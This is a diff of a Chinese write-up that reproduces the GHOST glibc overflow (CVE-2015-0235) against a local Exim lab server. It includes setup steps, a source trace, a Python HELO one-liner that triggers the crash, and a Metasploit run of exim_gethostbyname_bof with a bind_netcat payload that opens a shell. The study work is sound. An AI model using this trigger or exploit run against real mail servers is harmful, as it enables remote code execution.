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update 7.1.2

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doc/7.1.2_glibc_2015-0235.md
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@ -3,13 +3,14 @@
- [漏洞描述](#漏洞描述) - [漏洞描述](#漏洞描述)
- [漏洞复现](#漏洞复现) - [漏洞复现](#漏洞复现)
- [漏洞分析](#漏洞分析) - [漏洞分析](#漏洞分析)
- [Exim expolit](#exim-exploit)
- [参考资料](#参考资料) - [参考资料](#参考资料)
[下载文件](../src/exploit/7.1.2_glibc_2015-0235) [下载文件](../src/exploit/7.1.2_glibc_2015-0235)
## 漏洞描述 ## 漏洞描述
glibc 是 GNU 的 C 运行库，几乎所有 Linux 的其他运行库都依赖于它。该漏洞被称为 GHOST，发生的原因是函数 `__nss_hostname_digits_dots()` 存在缓冲区溢出，可以通过 `gethostbyname*()` 系列函数触发，最容易的攻击入口是邮件服务器，攻击者可以实施远程攻击甚至完全控制目标系统。受影响的版本从 glibc-2.2 到 glibc-2.18 之前。 glibc 是 GNU 的 C 运行库，几乎所有 Linux 的其他运行库都依赖于它。该漏洞被称为 GHOST，发生的原因是函数 `__nss_hostname_digits_dots()` 存在缓冲区溢出，可以通过 `gethostbyname*()` 系列函数触发，最容易的攻击入口是邮件服务器，攻击者可以实施远程攻击甚至完全控制目标系统。受影响的版本从 glibc-2.2 到 glibc-2.17。
## 漏洞复现 ## 漏洞复现
@ -18,7 +19,7 @@ glibc 是 GNU 的 C 运行库，几乎所有 Linux 的其他运行库都依赖
操作系统 | Ubuntu 12.04 | 体系结构：64 位 操作系统 | Ubuntu 12.04 | 体系结构：64 位
调试器 | gdb-peda| 版本号：7.4 调试器 | gdb-peda| 版本号：7.4
漏洞软件 | glibc | 版本号：2.15 漏洞软件 | glibc | 版本号：2.15
受影响软件 | Exim4 | 版本号 4.76 受影响软件 | Exim4 | 版本号 4.80
通过下面的 PoC 可以知道自己的系统是否受到影响： 通过下面的 PoC 可以知道自己的系统是否受到影响：
```c ```c
@ -251,6 +252,278 @@ __nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
+ sizeof (*h_alias_ptr) + strlen (name) + 1); + sizeof (*h_alias_ptr) + strlen (name) + 1);
``` ```
#### Exim exploit
```
$ sudo apt-get install libpcre3-dev
$ git clone https://github.com/Exim/exim.git
$ cd exim/src
$ git checkout exim-4_80
$ mkdir Local
$ cp src/EDITME Local/Makefile
$ #修改 Makefile 中的 EXIM_USER=你的用户名
$ #注释掉 EXIM_MONITOR=eximon.bin
$ #然后取消掉 PCRE_LIBS=-lpcre 的注释
$ make && sudo make install
```
最后为了能够调用 `smtp_verify_helo()`，在 Exim 的配置文件中必须开启 `helo_verify_hosts` 或 `helo_try_verify_hosts`。在文件 `/var/lib/exim4/config.autogenerated` 中的 `acl_smtp_mail` 一行下面加上 `helo_try_verify_hosts = *` 或者 `helo_verify_hosts = *`：
```
acl_smtp_mail = MAIN_ACL_CHECK_MAIL
helo_try_verify_hosts = *
```
更新并重启软件即可：
```
$ update-exim4.conf
$ exim4 -bP | grep helo_try
helo_try_verify_hosts = *
$ sudo /etc/init.d/exim4 stop
$ sudo /usr/exim/bin/exim -bdf -d+all
```
这样就把程序以 debug 模式开启了，之后的所有操作都会被打印出来，方便观察。还是为了方便（懒），后续的所有操作都只在本地运行，
先简单地看一下 Exim 处理 HELO 命令的过程，在另一个 shell 里，使用 telenet 连接上 Exim，根据前面的限制条件随便输入点什么：
```
$ telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 16:58:37 +0800
HELO 0123456789
250 firmy-VirtualBox Hello localhost [127.0.0.1]
^CConnection closed by foreign host.
firmy@firmy-VirtualBox:~$ telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 17:00:47 +0800
HELO 0123456789
250 firmy-VirtualBox Hello localhost [127.0.0.1]
```
结果如下：
```
17:00:47 5577 Process 5577 is ready for new message
17:00:47 5577 smtp_setup_msg entered
17:00:55 5577 SMTP<< HELO 0123456789
17:00:55 5577 sender_fullhost = localhost (0123456789) [127.0.0.1]
17:00:55 5577 sender_rcvhost = localhost ([127.0.0.1] helo=0123456789)
17:00:55 5577 set_process_info: 5577 handling incoming connection from localhost (0123456789) [127.0.0.1]
17:00:55 5577 verifying EHLO/HELO argument "0123456789"
17:00:55 5577 getting IP address for 0123456789
17:00:55 5577 gethostbyname2(af=inet6) returned 1 (HOST_NOT_FOUND)
17:00:55 5577 gethostbyname2(af=inet) returned 1 (HOST_NOT_FOUND)
17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
17:00:55 5577 LOG: host_lookup_failed MAIN
17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
17:00:55 5577 HELO verification failed but host is in helo_try_verify_hosts
17:00:55 5577 SMTP>> 250 firmy-VirtualBox Hello localhost [127.0.0.1]
```
可以看到它最终调用了 `gethostbyname2()` 函数来解析来自 SMTP 客户端的数据包。具体代码如下：[github](https://github.com/Exim/exim/tree/exim-4_80)
```c
// src/src/smtp_in.c
int
smtp_setup_msg(void)
{
[...]
while (done <= 0)
{
[...]
switch(smtp_read_command(TRUE))
{
[...]
case HELO_CMD:
HAD(SCH_HELO);
hello = US"HELO";
esmtp = FALSE;
goto HELO_EHLO;
case EHLO_CMD:
HAD(SCH_EHLO);
hello = US"EHLO";
esmtp = TRUE;
// 当 SMTP 命令为 HELO 或 EHLO 时，执行下面的过程
HELO_EHLO: /* Common code for HELO and EHLO */
cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
/* Reject the HELO if its argument was invalid or non-existent. A
successful check causes the argument to be saved in malloc store. */
if (!check_helo(smtp_cmd_data)) // 检查 HELO 的格式必须是 IP 地址
{
[...]
break;
}
[...]
helo_verified = helo_verify_failed = FALSE;
if (helo_required || helo_verify)
{
BOOL tempfail = !smtp_verify_helo(); // 验证 HELO 是否有效
if (!helo_verified)
{
if (helo_required)
{
[...]
}
HDEBUG(D_all) debug_printf("%s verification failed but host is in "
"helo_try_verify_hosts\n", hello);
}
}
```
继续看函数 `smtp_verify_helo()`：
```c
// src/src/smtp_in.c
BOOL
smtp_verify_helo(void)
{
[...]
if (!helo_verified)
{
int rc;
host_item h;
h.name = sender_helo_name;
h.address = NULL;
h.mx = MX_NONE;
h.next = NULL;
HDEBUG(D_receive) debug_printf("getting IP address for %s\n",
sender_helo_name);
rc = host_find_byname(&h, NULL, 0, NULL, TRUE);
if (rc == HOST_FOUND || rc == HOST_FOUND_LOCAL)
[....]
}
}
```
```c
// src/src/host.c
int
host_find_byname(host_item *host, uschar *ignore_target_hosts, int flags,
uschar **fully_qualified_name, BOOL local_host_check)
{
[...]
for (i = 1; i <= times;
#if HAVE_IPV6
af = AF_INET, /* If 2 passes, IPv4 on the second */
#endif
i++)
{
[...]
#if HAVE_IPV6
if (running_in_test_harness)
hostdata = host_fake_gethostbyname(host->name, af, &error_num);
else
{
#if HAVE_GETIPNODEBYNAME
hostdata = getipnodebyname(CS host->name, af, 0, &error_num);
#else
hostdata = gethostbyname2(CS host->name, af);
error_num = h_errno;
#endif
}
#else /* not HAVE_IPV6 */
if (running_in_test_harness)
hostdata = host_fake_gethostbyname(host->name, AF_INET, &error_num);
else
{
hostdata = gethostbyname(CS host->name);
error_num = h_errno;
}
#endif /* HAVE_IPV6 */
```
函数 `host_find_byname` 调用了 `gethostbyname()` 和 `gethostbyname2()` 分别针对 IPv4 和 IPv6 进行处理，也就是在这里可以触发漏洞函数。
这一次我们输入这样的一串字符，即可导致溢出：
```
$ python -c "print 'HELO ' + '0'*$((0x500-16*1-2*8-1-8))"
```
但是程序可能还是正常在运行的，我们多输入执行几次就会触发漏洞，发生段错误，连接被断开。
```
Connection closed by foreign host.
```
```
$ dmesg | grep exim
[28929.172015] traps: exim4[3288] general protection ip:7fea41465c1d sp:7fff471f0dd0 error:0 in libc-2.15.so[7fea413f6000+1b5000]
[28929.493632] traps: exim4[3301] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
[28929.562113] traps: exim4[3304] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
[28929.631573] exim4[3307]: segfault at 100000008 ip 00007fea42e2d226 sp 00007fff471e8b50 error 4 in exim4[7fea42db6000+dc000]
```
其实对于 Exim 的攻击已经集成到了 Metasploit 框架中，我们来尝试一下，正好学习一下这个强大的框架，仿佛自己也可以搞渗透测试。先关掉debug模式的程序，重新以正常的样子打开：
```
$ /etc/init.d/exim4 restart
```
```
msf > search exim
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/linux/smtp/exim4_dovecot_exec 2013-05-03 excellent Exim and Dovecot Insecure Configuration Command Injection
exploit/linux/smtp/exim_gethostbyname_bof 2015-01-27 great Exim GHOST (glibc gethostbyname) Buffer Overflow
exploit/unix/local/exim_perl_startup 2016-03-10 excellent Exim "perl_startup" Privilege Escalation
exploit/unix/smtp/exim4_string_format 2010-12-07 excellent Exim4 string_format Function Heap Buffer Overflow
exploit/unix/webapp/wp_phpmailer_host_header 2017-05-03 average WordPress PHPMailer Host Header Command Injection
msf > use exploit/linux/smtp/exim_gethostbyname_bof
msf exploit(linux/smtp/exim_gethostbyname_bof) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(linux/smtp/exim_gethostbyname_bof) > set SENDER_HOST_ADDRESS 127.0.0.1
SENDER_HOST_ADDRESS => 127.0.0.1
msf exploit(linux/smtp/exim_gethostbyname_bof) > set payload cmd/unix/bind_netcat
payload => cmd/unix/bind_netcat
msf exploit(linux/smtp/exim_gethostbyname_bof) > show options
Module options (exploit/linux/smtp/exim_gethostbyname_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 127.0.0.1 yes The target address
RPORT 25 yes The target port (TCP)
SENDER_HOST_ADDRESS 127.0.0.1 yes The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)
Payload options (cmd/unix/bind_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST 127.0.0.1 no The target address
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(linux/smtp/exim_gethostbyname_bof) > exploit
[*] Started bind handler
[*] 127.0.0.1:25 - Checking if target is vulnerable...
[+] 127.0.0.1:25 - Target is vulnerable.
[*] 127.0.0.1:25 - Trying information leak...
[+] 127.0.0.1:25 - Successfully leaked_arch: x64
[+] 127.0.0.1:25 - Successfully leaked_addr: 7fea43824720
[*] 127.0.0.1:25 - Trying code execution...
[+] 127.0.0.1:25 - Brute-forced min_heap_addr: 7fea438116cb
[+] 127.0.0.1:25 - Brute-force SUCCESS
[+] 127.0.0.1:25 - Please wait for reply...
[*] Command shell session 1 opened (127.0.0.1:34327 -> 127.0.0.1:4444) at 2018-01-26 17:29:07 +0800
whoami
Debian-exim
id
uid=115(Debian-exim) gid=125(Debian-exim) groups=125(Debian-exim)
```
Bingo!!!成功获得了一个反弹 shell。
对于该脚本到底是怎么做到的，本人水平有限，还有待分析。。。
## 参考资料 ## 参考资料
- [CVE-2015-0235 Detail](https://nvd.nist.gov/vuln/detail/CVE-2015-0235) - [CVE-2015-0235 Detail](https://nvd.nist.gov/vuln/detail/CVE-2015-0235)